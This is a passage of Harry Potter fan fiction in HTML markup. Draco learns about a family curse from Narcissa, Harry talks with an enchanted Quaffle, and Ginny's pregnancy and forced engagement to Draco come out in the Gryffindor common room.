it.&#8221;</p>\n\n<p></p>\n\n<p> Narcissa was silent for a space. She kept turning down stone corridors, striding purposefully to the main entrance without her usual elusive, mincing steps. Then she started to speak at last: &#8220;The wind is blowing the other way now, and everyone associated with the Dark is being weeded out like before. But this time, I fear we must adapt or lose everything. I don&#8217;t foresee You-Know-Who coming back, and there are none now who have his power, aside from Potter, perhaps.&#8221; Her eyes were on the double doors at the far end of the corridor and she still wouldn&#8217;t look at him. &#8220;Besides, I was fond of the Weasley boy and I need a companion. I&#8217;m afraid that your cousin is simply too foolish for me to deal with.&#8221; She paused. &#8220;And we&#8217;ve plenty of money, Draco.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;We could always use more of it. Galleons don&#8217;t grow on trees, you know. And if you wanted a companion, someone pure and wholesome to attach your name to, you could just as well have hired one or remarry. You didn&#8217;t have to make <i>me</i> marry someone simply to keep <i>you</i> from being lonely or ostracised.&#8221;</p>\n\n<p></p>\n\n<p> Draco studied his mother in the flickering torchlight. Her lips were thinned and her eyes haggard. She didn&#8217;t look as if she&#8217;d slept well lately. He knew exactly how she must feel.</p>\n\n<p></p>\n\n<p> &#8220;You should fix your hair. You&#8217;re starting to seem unkempt.&#8221; Narcissa didn&#8217;t look at him as she said this, and her pace didn&#8217;t falter.</p>\n\n<p></p>\n\n<p> He raised his eyebrows. &#8220;Unkempt? Me? I&#8217;m as impeccably groomed as always, Mother.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Your hair is sticking up in front. Surely you know a basic flattening charm at your age.&#8221;</p>\n\n<p></p>\n\n<p> Draco ran his hand self-consciously over his head, and sure enough, there was a tuft of hair at his widow&#8217;s peak that was misbehaving. Again.</p>\n\n<p></p>\n\n<p> &#8220;Blasted hair! I don&#8217;t know what&#8217;s wrong with it these days. It simply won&#8217;t behave.&#8221;</p>\n\n<p></p>\n\n<p> Narcissa pursed her lips and stopped long enough to pull out her wand and charm his hair flat again. Then she peered into his face.</p>\n\n<p></p>\n\n<p> &#8220;You&#8217;re freckling.&#8221; She reached up a finger and almost touched the thin skin under his eyes. &#8220;Just there. Have you been out in the sun?&#8221;</p>\n\n<p></p>\n\n<p> Draco blinked at her. &#8220;Been out in the sun? No more than usual.&#8221; He scoffed. There was only the one on his nose and he&#8217;d charmed that away days ago. &#8220;I don&#8217;t have freckles.&#8221;</p>\n\n<p></p>\n\n<p> She started walking again. &#8220;Yes. You have freckles. Perhaps it&#8217;s a disease and the <i>Weasley </i>girl&#8217;s given it to you,&#8221; Narcissa drawled, her voice lilting and entrapping the name &#8216;Weasley&#8217; as if it were a fly in her beautiful new web.</p>\n\n<p></p>\n\n<p> &#8220;You can&#8217;t catch freckles. And <i>we</i> don&#8217;t freckle.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;You&#8217;re right. We don&#8217;t freckle.&#8221; Her steps faltered for a moment and she clutched at his forearm to keep him close, but then released it as if he&#8217;d burned her. &#8220;You&#8217;ve changed, Draco. You&#8217;re almost as thin as you were in your sixth year and I&#8217;d swear that you&#8217;ve shrunk.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Have you been drinking absinthe again, Mother? Seeing little green faeries, too?&#8221; Draco contributed a brittle laugh to the perfectly <i>enchanting</i> conversation he was having with his mother. All the while, he was trying to pretend that he didn&#8217;t notice how the loose cuffs of his sleeves came down over the backs of his hands. Perhaps his new spring wardrobe wasn&#8217;t all a tailor&#8217;s mistake . . .</p>\n\n<p></p>\n\n<p> &#8220;No,&#8221; Narcissa whispered, her eyes narrowing to cat-like slits that glowed in the gloomy corridor. &#8220;You <i>have</i> changed. It isn&#8217;t in my imagination, this. What have you done?&#8221;</p>\n\n<p></p>\n\n<p> &#8220;I haven&#8217;t done anything, Mother,&#8221; he said testily. &#8220;But why don&#8217;t we ask Father about what <i>he&#8217;s</i> done? Oh, that&#8217;s right, we can&#8217;t. He&#8217;s <i>dead</i>.&#8221;</p>\n\n<p></p>\n\n<p> Narcissa scoffed and started walking again, setting a fast pace. &#8220;Your father has nothing to do with this.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;I rather think he does,&#8221; Draco countered. &#8220;Have you ever heard of the Tir nan Og Curse?&#8221;</p>\n\n<p></p>\n\n<p> Narcissa stopped dead in her tracks, but she remained facing the main entrance. Her face was lost in shade, and Draco could tell that she was watching Dumbledore and Lupin come inside the building.</p>\n\n<p></p>\n\n<p> &#8220;I see that you have,&#8221; Draco noted wryly.</p>\n\n<p></p>\n\n<p> &#8220;Lucius wouldn&#8217;t have dared curse you with that,&#8221; she whispered, moving closer to the protective shadows on the wall.</p>\n\n<p></p>\n\n<p> Draco slunk into the darkness to stand behind his mother, quietly watching as Dumbledore and Lupin walked by them. Lupin&#8217;s more perceptive werewolf eyes caught Narcissa&#8217;s as he passed, and he inclined his head in a nod of acknowledgement that held more respect than a formal bow from most would do.</p>\n\n<p></p>\n\n<p> &#8220;Father did dare,&#8221; Draco said into his mother&#8217;s ear after they were gone. &#8220;But I only know this from his journals. I want <i>you </i>to tell me the rest because I haven&#8217;t been able to find anything on that curse.&#8221; Draco scowled and hissed the next few words through clenched teeth. &#8220;I&#8217;ve been through Father&#8217;s journals and almost every book in the library here. All for nothing. Not one mention of it anywhere aside from some stupid couplets about flowers and fair brows.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;You wouldn&#8217;t find anything on it, Draco,&#8221; Narcissa replied. &#8220;It&#8217;s a family curse.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Would you mind much explaining it to me, then?&#8221; Draco asked caustically, coming to stand in front of her as if his visual presence would help his case at all. &#8220;Seeing as how I&#8217;m thoughtful enough to escort you down to the front gates, the least you can do is tell me a bedtime story.&#8221;</p>\n\n<p></p>\n\n<p> Narcissa bit her lip in a rare display of hesitation before she brushed past him and started walking again. &#8220;I&#8217;ll tell you as we walk.&#8221;</p>\n\n<p></p>\n\n<p> Draco raised an eyebrow and followed her. &#8220;How kind of you,&#8221; he said dryly, pausing to open the main doors for her like a dutiful son.</p>\n\n<p></p>\n\n<p> &#8220;From what I understand,&#8221; she started. &#8220;The Tir nan Og is a bartering curse. In exchange for certain boons, you must pay a price.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Excellent,&#8221; Draco said wearily, pinching the bridge of his nose with white-tipped fingers.</p>\n\n<p></p>\n\n<p> &#8220;Yes, well,&#8221; she looked up at the bright half-moon above them. &#8220;I don&#8217;t know much else about it. Just that it is supposed to protect the victim&#8217;s physical form from harm and make them perfection.&#8221;</p>\n\n<p></p>\n\n<p> Narcissa stopped to brush the wisp of hair from his forehead again. &#8220;You never <i>did</i> have this problem before. Lucius certainly never did, either. I wonder&#8212;&#8221; She stopped speaking and quickly turned around again. &#8220;No.&#8221; Her shoulders shook but she kept moving hurriedly, almost stumbling over the stones and holes hidden by the silvery grass.</p>\n\n<p></p>\n\n<p> &#8220;What?&#8221; Draco raced to keep up with his mother. He saw her draw her wand, but she was too far ahead for him to hear the spell she cast. &#8220;You can&#8217;t just stop there! I want to know.&#8221;</p>\n\n<p></p>\n\n<p> She gazed at him calmly when he finally caught up; her eyes steady and cool once again. &#8220;I don&#8217;t know any more than that, Draco. The curse seems to be broken now, though. Why are you so concerned?&#8221;</p>\n\n<p></p>\n\n<p> &#8220;So concerned?&#8221; He almost gaped at her, until he remembered that Malfoys don&#8217;t gape. &#8220;This is my <i>body</i> we&#8217;re talking about here! And it&#8217;s slowly changing on me. I don&#8217;t even recognise myself anymore. I can&#8217;t remember what was here before and what&#8217;s new.&#8221; </p>\n\n<p></p>\n\n<p> Draco touched his chest, feeling the thick hair crisping under his shirt. Then he moved his fingers over his face, outlining his nose and mouth and eyes, pressing his cheeks with the cold pads of his thumbs. &#8220;My face hasn&#8217;t changed, but the rest of me&#8212; my skin and&#8212;and hair.&#8221; Narcissa wasn&#8217;t even looking at him. &#8220;I&#8217;m bloody shrinking, Mother!&#8221; he shouted.</p>\n\n<p></p>\n\n<p> She finally turned back to him. &#8220;If Lucius really did curse you, then you are finally seeing your true appearance. This is how you really look, Draco. All the imperfections that make you wizard instead of deity are hidden no longer.&#8221; Her eyes swept over him, noting every change, he was sure. &#8220;Truly, I don&#8217;t see much difference.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;But you were just now telling me that I had changed! That I&#8217;m differ&#8212;&#8221;</p>\n\n<p></p>\n\n<p> Narcissa shrugged gracefully and opened the large, wrought-iron gates with a flick of her wand. She stepped through them and coolly studied him for a moment. </p>\n\n<p></p>\n\n<p>&#8220;Perhaps I overreacted.&#8221;</p>\n\n<p></p>\n\n<p> Then she was gone, Dissapparated into the breezy, star-dappled night and leaving her son clinging to the frozen bars of the gate knowing little more than he did before.</p>\n\n<p></p>\n\n<p></p>\n\n<p> *~*~*~*~*~*</p>\n\n<p></p>\n\n<p></p>\n\n<p> Harry spent most of his evening attempting to, once again, learn a bit more from &#8216;Albus Quaffle&#8217;, as he&#8217;d started to call it. Or call <i>him</i>, rather. Harry was still confused on that point. </p>\n\n<p></p>\n\n<p> The only interesting detail he had discovered so far was that the last thing the stuffed Quaffle remembered was duelling with Grindlewald . . . in 1945.</p>\n\n<p></p>\n\n<p> &#8220;Well, it was dark that night. Rainy and blustering outside and we were both caught in it,&#8221; Albus Quaffle had said, bouncing his plushy body up and down at the end of Harry&#8217;s bed, testing his new &#8216;flesh&#8217;. &#8220;I think that the last blitz had knocked out the eclectra city over half of London and we were in a seedy Muggle section of town.&#8221; The ball swayed from side to side. &#8220;I chased him into an abandoned house. The floorboards were creaky, so it wasn&#8217;t difficult to tell which room he was in, even without the trail of water from his wet robes. I cast a silencing spell on my shoes and crept up to the door he was hiding behind. I could hear him breathing.&#8221; The Quaffle fluttered in an imitation of life. &#8220;I waited for him to get comfortable, to think that I had gone, before I threw the door open and confronted him. We duelled. Yes, some of my finest spells, those were.&#8221; Albus Quaffle rocked back and forth as if nodding. &#8220;But then I looked up into his eyes and&#8212;&#8221; The ball wrinkled as if frowning. &#8220;I don&#8217;t remember anything after that. There was a blinding flash of light; it lit the entire building, I think. Then it was dark until you found me.&#8221;</p>\n\n<p></p>\n\n<p> The rest of the conversation degenerated into babbling about school and his students after that. Harry quickly grew tired of hearing about war-time Hogwarts and the adventures of a notoriously dim Cornish boy named Dickon Crackenthorpe.</p>\n\n<p></p>\n\n<p> Harry leant his head on his hand and stretched out on his side, nodding sleepily as Albus Quaffle continued to chatter. </p>\n\n<p></p>\n\n<p> &#8220;And I told him that you simply can&#8217;t make a potion to turn iron into gold!&#8221; The Quaffle wobbled on his seat. &#8220;That&#8217;s more Transfiguration work, and even then it&#8217;s impossible since iron repels magic. Even young Miss McGonagall told him that and she wasn&#8216;t very good with Potions; Transfiguration was more her cup of tea. But the structure of iron, you see&#8212;&#8221;</p>\n\n<p></p>\n\n<p> Harry yawned. &#8220;I&#8217;m sorry, Albus, but I&#8217;m exhausted. Could you tell me about, er, structures later?&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Oh, of course! I&#8217;m terribly sorry, my boy. I tend to rattle on about things that young people don&#8217;t generally care to know.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Uh-huh. You may want to go back to Seamus&#8217; bed before he comes back from&#8212; wherever it is he goes at night.&#8221;</p>\n\n<p></p>\n\n<p> Albus quivered and leapt from Harry&#8217;s bed to land with a squishy thump on the floor. Then <i>plop-scuff-plop</i> as he hopped along to the other side of the room. Harry didn&#8217;t care how Albus managed to get up on Seamus&#8217; bed so long as he left Harry alone.</p>\n\n<p></p>\n\n<p> &#8220;I don&#8217;t think I&#8217;ll be able to look at a plush toy the same way ever again,&#8221; Harry muttered, dispelling the Silence Sphere around his bed. He turned over to beat his pillow into submission and curled up with his knees against his chest. Sleep found him quickly and it was blissfully dreamless except for a short one where Hermione - wearing a bikini made of aluminium - was playing cricket using Albus Quaffle for a ball and Dobby was the bowler . . .</p>\n\n<p></p>\n\n<p> Harry woke sometime later with a start. His body tensed and he listened for a moment. He was about to let his eyes drift closed again when he heard muffled shouting downstairs.</p>\n\n<p></p>\n\n<p> He leapt from his bed and opened the door. Behind him, his dorm mates had woken up, too, and were peering thickly at him.</p>\n\n<p></p>\n\n<p> &#8220;Whas&#8217;s all the racket about, mate?&#8221; Dean asked sleepily.</p>\n\n<p></p>\n\n<p> &#8220;Yeah, I&#8217;ve got an exam in Herbology tomorrow,&#8221; Seamus mumbled, stuffing a pillow over his head. Albus Quaffle discreetly moved closer to the edge of Seamus&#8217; bed as if he wanted to say something, but didn&#8217;t.</p>\n\n<p></p>\n\n<p> &#8220;Shh. It&#8217;s not me,&#8221; Harry said. He strained his ears. &#8220;I&#8217;m trying to listen. There&#8217;s something happening in the common room.&#8221;</p>\n\n<p></p>\n\n<p> He saw movement from the corner of his eye and turned his head. Ron had woken up, too, and was looking at him with the same expression he&#8217;d had countless times before when they were younger and a mystery was afoot.</p>\n\n<p></p>\n\n<p> Ron&#8217;s ginger eyebrows rose and he came over to stand beside Harry. &#8220;Do you know what&#8217;s happening?&#8221; he whispered.</p>\n\n<p></p>\n\n<p> Harry shook his head. &#8220;I can&#8217;t hear anything.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Think we should go down?&#8221; Ron asked, looking steadily at him, measuring.</p>\n\n<p></p>\n\n<p> Harry didn&#8217;t have to think about it twice. Ron had made the first move; he wasn&#8217;t going to bollocks it up again. Even still, he held a breath in anticipation before letting it out in a loud gush. &#8220;Yeah. Let&#8217;s go.&#8221;</p>\n\n<p></p>\n\n<p> Ron opened the door, allowing Harry to take the lead. They crept down the stairs with their backs to the wall. Once they reached the bottom, they could see Hermione, Ginny, and Colin in the common room. Harry put a finger to his lips and they listened.</p>\n\n<p></p>\n\n<p> &#8220; . . . and you had no right!&#8221; Colin was saying harshly to Hermione. &#8220;Just because you&#8217;ve been having an identity crisis is no reason to make Ginny suffer like this.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;I thought she was in danger and I did what I thought was best!&#8221; Hermione shrilled. &#8220;It&#8217;s about time <i>someone</i> did. I didn&#8217;t know that would happen. And you can&#8217;t put all the blame on me.&#8221; She moved her head slightly toward Ginny, who was sitting on Colin&#8217;s lap. &#8220;This is your mess. I warned you that no good would come of it and you didn&#8217;t listen! You just kept on and on, running about with him all over the castle. You&#8217;re only upset because I told Professor McGonagall and now you have to take responsibility for your actions!&#8221;</p>\n\n<p></p>\n\n<p> &#8220;It wasn&#8217;t your business, Hermione!&#8221; Ginny shouted, standing up to meet her eye. &#8220;It was my problem. <i>Mine</i>!&#8221; She beat her fist against her chest once before her fingers flew out to point at the common room entrance. &#8220;But now it&#8217;s Draco&#8217;s problem, and my parent&#8217;s problem, and <i>everyone</i> else&#8217;s problem. They&#8217;re blackmailing me, Hermione, and there isn&#8217;t anything I can do to stop them.&#8221;</p>\n\n<p></p>\n\n<p> Hermione scoffed. &#8220;They can&#8217;t make you marry him. <i>The Daily</i>\n\n<i>Prophet</i> won&#8217;t be able to find&#8212;&#8221;</p>\n\n<p></p>\n\n<p> &#8220;What!?&#8221; Ron shouted from behind Harry, pushing him aside to rush across the room. &#8220;Who&#8217;s marrying Ginny?&#8221;</p>\n\n<p></p>\n\n<p> All three seemed shocked out of their skins. Harry glanced up the stairs and shooed away a few other students who had come down to see what was going on before stepping into the room himself and casting a silencing charm on the doorways.</p>\n\n<p></p>\n\n<p> Ginny was flushed with anger and Hermione&#8217;s eyes crackled. Colin wasn&#8217;t looking terribly pleased with all this, either.</p>\n\n<p></p>\n\n<p> &#8220;You&#8217;re marrying Malfoy, aren&#8217;t you?&#8221; Ron grabbed Ginny by the shoulders and Harry thought for one fearful second that he and Hermione would wind up taking Ginny to the Infirmary again until Colin stood up and pulled her back. He wrapped his arms around her waist and placed his slender hands protectively over her stomach before glaring up at Ron.</p>\n\n<p></p>\n\n<p> &#8220;Don&#8217;t do that. You&#8217;ll hurt her again.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Oh sod <i>off</i>, Creevey!&#8221; Ron exploded. &#8220;Why are you always here, anyway?&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Because he&#8217;s my friend, Ron,&#8221; Ginny said heatedly. &#8220;And unlike some people, he actually gives a toss about me.&#8221;</p>\n\n<p></p>\n\n<p> Ron closed his eyes and breathed deeply. He seemed to be collecting himself. &#8220;All right, Gin,&#8221; he said after a moment. Ron still had his eyes closed, but he continued in a calm voice. &#8220;Just tell me what&#8217;s going on. I promise I won&#8217;t go bananas.&#8221;</p>\n\n<p></p>\n\n<p> Ginny lifted an eyebrow and glanced at Harry. He shrugged. &#8220;Um. You may want to tell us what this is about, Ginny.&#8221;</p>\n\n<p></p>\n\n<p> Hermione sidled closer to Harry. He wrapped his arm around her shoulders and pulled her onto an armchair with him. Ron finally opened his eyes and sat down on the sofa, flexing his fingers over his knees.</p>\n\n<p></p>\n\n<p> &#8220;Go ahead, Gin-love,&#8221; Colin said gently. He kissed Ginny on the cheek before sitting on the couch, far away from Ron.</p>\n\n<p></p>\n\n<p> She twisted her fingers in her hair and glanced up from under her long, copper lashes. &#8220;Well, I&#8217;ll give you all the short version. Mum and Dad&#8212;&#8221; Ginny took a deep breath. &#8220;<i>AremakingmemarryDracobecause</i>&#8212;&#8221; She gasped before continuing a bit slower. &#8220;B-because I&#8217;m preg&#8212;&#8221; Ginny frowned. &#8220;You know, that <i>word</i>.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Pregnant,&#8221; Colin supplied wearily, scrubbing his face with his hands. &#8220;She&#8217;s pregnant.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;What!?&#8221; Ron shouted. He jumped to his feet. &#8220;Where is the little ferret-faced bastard? I&#8217;ll make him wish he were never born! He thinks he can do that to <i>my</i> sister and get away with it then&#8212;&#8221;</p>\n\n<p></p>\n\n<p> Ginny stepped back and tripped over Colin&#8217;s foot, landing half on his lap and half on the cushion beside him. &#8220;You said you wouldn&#8217;t go bananas!&#8221;</p>\n\n<p></p>\n\n<p> &#8220;But you&#8212;I&#8212;I need&#8212;&#8221; Ron glanced around for a moment, his eyes flickering confusedly toward Harry and Hermione. He sighed and slumped a bit. &#8220;I need a piss. I&#8217;ll be right back.&#8221;</p>\n\n<p></p>\n\n<p> Ron trudged off up the stairs. Everyone blinked and Ginny chuckled after a moment. &#8220;That went better than expected.&#8221;</p>\n\n<p></p>\n\n<p> Colin eyed Harry. &#8220;Did you give him drugs?&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Er, no. Did you give him something, Hermione?&#8221;</p>\n\n<p></p>\n\n<p> Hermione&#8217;s mouth was slack and her eyes slightly unfocused. &#8220;Uh. I didn&#8217;t give him anything.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Maybe it&#8217;s his new girlfriend,&#8221; Colin said lazily. He twirled a few strands of Ginny&#8217;s hair around his finger. &#8220;You know, that Slytherin girl.&#8221;</p>\n\n<p></p>\n\n<p> Harry&#8217;s eyes widened and he drew a sharp breath. Surely he hadn&#8217;t heard correctly. &#8220;A Slytherin? But Ron hates them more than I do!&#8221;</p>\n\n<p></p>\n\n<p> Hermione stirred in his arms. It looked like she had fallen partially asleep. &#8220;What about a Slytherin?&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Colin said&#8212;&#8221;</p>\n\n<p></p>\n\n<p> &#8220;I&#8217;m <i>not</i> dating Pansy Parkinson!&#8221; Ron said loudly. He had come back from the loo seeming slightly shaken and his hair was messy and wet. It looked like he had dunked his head in the toilet, but Harry hoped that it was only under the tap.</p>\n\n<p></p>\n\n<p> &#8220;Did I say Pansy Parkinson?&#8221; Colin asked serenely. </p>\n\n<p></p>\n\n<p>Ginny was obviously failing to stifle a grin. &#8220;Did he say <i>dating</i>, for that matter?&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Oh shut your gobs,&#8221; Ron muttered. His face twisted into a parody of righteous indignation, but Harry could tell that there wasn&#8217;t much heart in his protests. &#8220;You&#8217;re mad, the both of you, and you&#8217;re only on about it because I kept that troll from squishing her into marmite.&#8221;</p>\n\n<p></p>\n\n<p> Colin smirked and Ginny seemed to be in better spirits than she was before. Harry hated to break the more pleasant mood, but he was really keen to get to the bottom of this marriage mystery. He cleared his throat.</p>\n\n<p></p>\n\n<p> &#8220;Ginny, what&#8217;s all this about blackmail, anyway?&#8221;</p>\n\n<p></p>\n\n<p> Her face fell and she looked up at Colin. He squeezed her hand gently and she sighed. &#8220;Well, because Ron killed You-Know-Who, our family&#8217;s quite famous now.&#8221;</p>\n\n<p></p>\n\n<p> Ron squirmed in his seat but didn&#8217;t say anything. </p>\n\n<p></p>\n\n<p> &#8220;And,&#8221; she continued. &#8220;Mum and Mrs Malfoy are under the impression that if word of my . . . <i>condition</i> leaks out, the dailies will have a fit and dig up all sorts of things to drag our names through the mud just because they can.&#8221; Ginny frowned and bit her bottom lip. &#8220;Like Percy and Mr Malfoy. Our dad could even lose his job.&#8221;</p>\n\n<p></p>\n\n<p> Harry suddenly felt cold and pulled Hermione closer to him. Her head was tilted back and she was snoring softly into his shoulder now. She must have been terribly exhausted to fall asleep during such an important conversation, too much revision, probably. And it looked like he had a few Obliviates to cast on his nosy housemates before morning, so he&#8216;d probably be just as exhausted come daybreak. </p>\n\n<p></p>\n\n<p> &#8220;So why do you have to marry Malfoy, then?&#8221; Harry asked, partly because he couldn&#8216;t think of anything better to say and partly because he was curious as to why Ginny would allow herself to be blackmailed into marrying a Malfoy - no matter the consequences. &#8220;That won&#8217;t prevent the <i>Prophet</i> from finding out that you&#8217;re, erm, expecting.&#8221; He felt uncomfortable even saying the word and squirmed under Hermione&#8217;s weight.</p>\n\n<p></p>\n\n<p> &#8220;Don&#8217;t you get it, Harry?&#8221; Colin said, his eyes blazing. &#8220;I mean, I thought you would have noticed that we&#8217;re living in a world that hasn&#8217;t had a social revolution in centuries.&#8221; He chuckled mirthlessly. Harry had never heard Colin so bitterly angry before except perhaps when Ron had pushed Ginny over that footstool. &#8220;Apparently it&#8217;s a terrible stigma in the wizarding world to be an unwed mother. Especially if you&#8217;re from a pureblooded family.&#8221; Colin&#8217;s fingers lingered over Ginny&#8217;s face as if she were a rare gem he was gazing at through a window but couldn&#8216;t touch. &#8220;Think of how wrong it was fifty or sixty years ago in the Muggle world and you&#8217;ll have the idea.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;But&#8212;&#8221;</p>\n\n<p></p>\n\n<p> &#8220;It&#8217;s just not on, Harry!&#8221; Ron said angrily. He stabbed a finger in Ginny&#8217;s direction. &#8220;Girls aren&#8217;t supposed to go around getting themselves into fixes like this.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Yeah, but you have girls all over you from what I&#8217;ve heard. No one ever says anything bad about <i>them</i> do they?&#8221; Harry said heatedly. He felt somehow that this was all terribly unfair, aside from the obvious marriage issue. God, to be <i>married</i> to a Malfoy . . . a fate worse than death in his eyes.</p>\n\n<p></p>\n\n<p> &#8220;That&#8217;s different,&#8221; Ron murmured. &#8220;It&#8217;s not in public. The only ones who know about it are me and them. Even if everyone knows that I&#8217;m&#8212;&#8221; He cleared his throat. &#8220;Well, I don&#8217;t go <i>telling</i> people who they are.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Yeah, it&#8217;s just <i>fine</i> for you!&#8221; Ginny cried, pounding her tiny fist on Colin&#8217;s knee. He winced, but didn&#8217;t say anything. &#8220;It&#8217;s not bloody fair that you can get away with it but I can&#8217;t.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;It&#8217;s that way in the Muggle world, too, Gin.&#8221; Colin said. &#8220;Just that people aren&#8217;t so shocked anymore if a girl turns up . . .&#8221; He trailed off with a sigh and pulled her closer to him.</p>\n\n<p>\n\n</p>\n\n<p> &#8220;Creevey, I&#8217;m keeping my temper in check, but if you don&#8217;t get your paws off my sister&#8212;&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Grow up, Ronald,&#8221; Ginny said quietly. &#8220;He&#8217;s just my friend. You know he doesn&#8217;t fancy girls.&#8221; She glanced up at Colin from the corner of her eye. Harry was close enough to hear her whisper: &#8220;At least not normally.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;So how did Hermione find out about this?&#8221; Harry asked, eager to keep Ron from imploding.</p>\n\n<p></p>\n\n<p> &#8220;Oh,&#8221; Colin said softly. &#8220;That.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Yes, <i>that</i>.&#8221; Ginny almost spit out the word. &#8220;Well, it seems, Harry, that your girlfriend has spent the past few weeks researching preventative potions and developing tests through Muggle clemency.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Chemistry,&#8221; Colin corrected absently.</p>\n\n<p></p>\n\n<p> Ginny waved her hand dismissively and leaned forward a bit so that Colin was blocked from her view. &#8220;Hermione woke me up this morning with this test thing. She didn&#8217;t tell me what it was for until after she&#8217;d pricked my finger and put a drop of my blood in a vial with this blue potion she created.&#8221; Ginny rubbed her hand. &#8220;<i>Then</i> she told me that the potion we&#8217;d been using from the Witches&#8217; Weekly back pages was flawed.&#8221;</p>\n\n<p></p>\n\n<p> Harry&#8217;s mouth was very dry and he suddenly had difficulty swallowing or forming words. &#8220;Flawed?&#8221; he squeaked.</p>\n\n<p></p>\n\n<p> &#8220;Oh yes. She spouted off a bunch of Muggle things I didn&#8217;t understand before she started making sense again. Apparently, the preventative potion only works most of the time. There&#8217;s always a good chance that it won&#8217;t work even if you make it right.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Is Her&#8212;is Hermione&#8212; um&#8212; too?&#8221; Harry stumbled his words and his forehead broke out in a cold sweat as possibilities ran through his mind, none of them good and all of them including bushy-haired, green-eyed children clambering up his trouser legs as if he was Mount Harry.</p>\n\n<p></p>\n\n<p> &#8220;No. <i>Her</i> test was fine,&#8221; Ginny spat. &#8220;But mine . . . well, you know how mine turned out obviously.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;So all this time that potion wasn&#8217;t even working?&#8221; Harry gasped out.</p>\n\n<p></p>\n\n<p> &#8220;It <i>does</i> work,&#8221; Ginny insisted. &#8220;Uh, sometimes, anyway.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Oh God,&#8221; Harry whispered. &#8220;Are you sure&#8212;&#8221;</p>\n\n<p></p>\n\n<p> &#8220;For Merlin&#8217;s sake, Harry!&#8221; Ginny shrieked. &#8220;She&#8217;s fine! We were talking about an actual problem here. You know, what <i>I&#8217;m</i> going to do now?&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Leave him alone, Ginny. Harry&#8217;s just shocked, &#8216;right?&#8221; Ron glared at her and she backed down, pulling her feet up to sit on them.</p>\n\n<p></p>\n\n<p> &#8220;It&#8217;s always bloody Hermione,&#8221; Ginny grumbled. </p>\n\n<p></p>\n\n<p> Harry stood up as quickly as he could manage with Hermione&#8217;s limp form dripping over his arms. He was upset with her, too, because she hadn&#8217;t said anything to him about this, but he didn&#8217;t want to hear Ginny badmouth her while she was asleep and couldn&#8217;t defend herself, either. &#8220;I&#8217;ll just take her to bed then, shall I?&#8221; he asked coldly.</p>\n\n<p></p>\n\n<p> &#8220;Yeah, you might want to get her out of here, Harry.&#8221; Ron was looking at his sister. &#8220;It&#8217;s about to get loud again and she probably needs her rest.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;You remember Lockhart&#8217;s charm?&#8221; Harry asked him. &#8220;Because I can guarantee you that if ninety percent of our housemates aren&#8217;t Obliviated . . .&#8221;</p>\n\n<p></p>\n\n<p> Ron turned back to look at Harry, letting his eyes rove over Hermione for a moment, before nodding. &#8220;Good idea. I&#8217;ll get to it after I deal with the future Mrs <i>Malfoy </i>over here.&#8221; Ron rolled his eyes and jerked his head in Ginny&#8217;s direction.</p>\n\n<p></p>\n\n<p> Harry let one side of his mouth twist up in a wry smile of acknowledgement and went up the stairs with Hermione. He grunted along to his dormitory and fumbled with the doorknob before he was finally able to get the door open. </p>\n\n<p></p>\n\n<p> He set Hermione on his bed and collapsed partially on top of her, drinking in her moon-lit profile as he caught his breath. Harry could tell that she was worn out and her face was still pinched with worry, even in sleep. He was angry that she hadn&#8217;t trusted him enough to say anything about this, but he regretfully supposed that it was just her way: she never said anything until she was completely certain that her theories were correct.</p>\n\n<p>\n\n</p>\n\n<p> Harry climbed into the bed beside her and pulled off her shoes before covering them both with a thick quilt and settling down into the pillows. He stayed awake for a long time, staring at the tester over his bed until the first rays of sunlight crept over his body.</p>\n\n<p></p>\n\n<p></p>\n\n<p> *~*~*~*~*~*</p>\n\n<p></p>\n\n<p></p>\n\n<p>Ginny slinked down the secret passage that led to Draco&#8217;s dormitory, quiet as a mouse with her lantern dimmed. She simply <i>had</i> to speak with him. He must know that this would destroy them both, so why was he being so agreeable to the marriage issue?</p>\n\n<p></p>\n\n<p> Her heart was in her throat as she turned the knob and tiptoed over to his bed. Ginny hadn&#8217;t really expected him to be asleep, but he was.</p>\n\n<p></p>\n\n<p> Draco&#8217;s profile was clear in the faint light filtering through the drapes around his bed, bleached into a sharp contrast of black shadows and warm flesh. His mouth was blank and uncreased by the habitual sneer, and his eyelashes were only dark, feathery lines overlaying the hollows underneath.</p>\n\n<p></p>\n\n<p> Ginny allowed her hand to hover over Draco&#8217;s face, tracing it in the air with her fingers, before drifting down to shake him gently by the shoulder. </p>\n\n<p></p>\n\n<p> &#8220;Draco, wake up.&#8221;</p>\n\n<p></p>\n\n<p> His eyes snapped open and gleamed strangely in the golden-dim lantern light as he looked at her. &#8220;What do you want, woman?&#8221;</p>\n\n<p></p>\n\n<p> She had the sneaking suspicion that he hadn&#8217;t been sleeping after all. But Ginny steeled herself and sat down beside him. &#8220;We need to talk.&#8221;</p>\n\n<p></p>\n\n<p> Draco snorted and rolled away from her, hunching his head down between his shoulders. &#8220;There&#8217;s nothing to talk 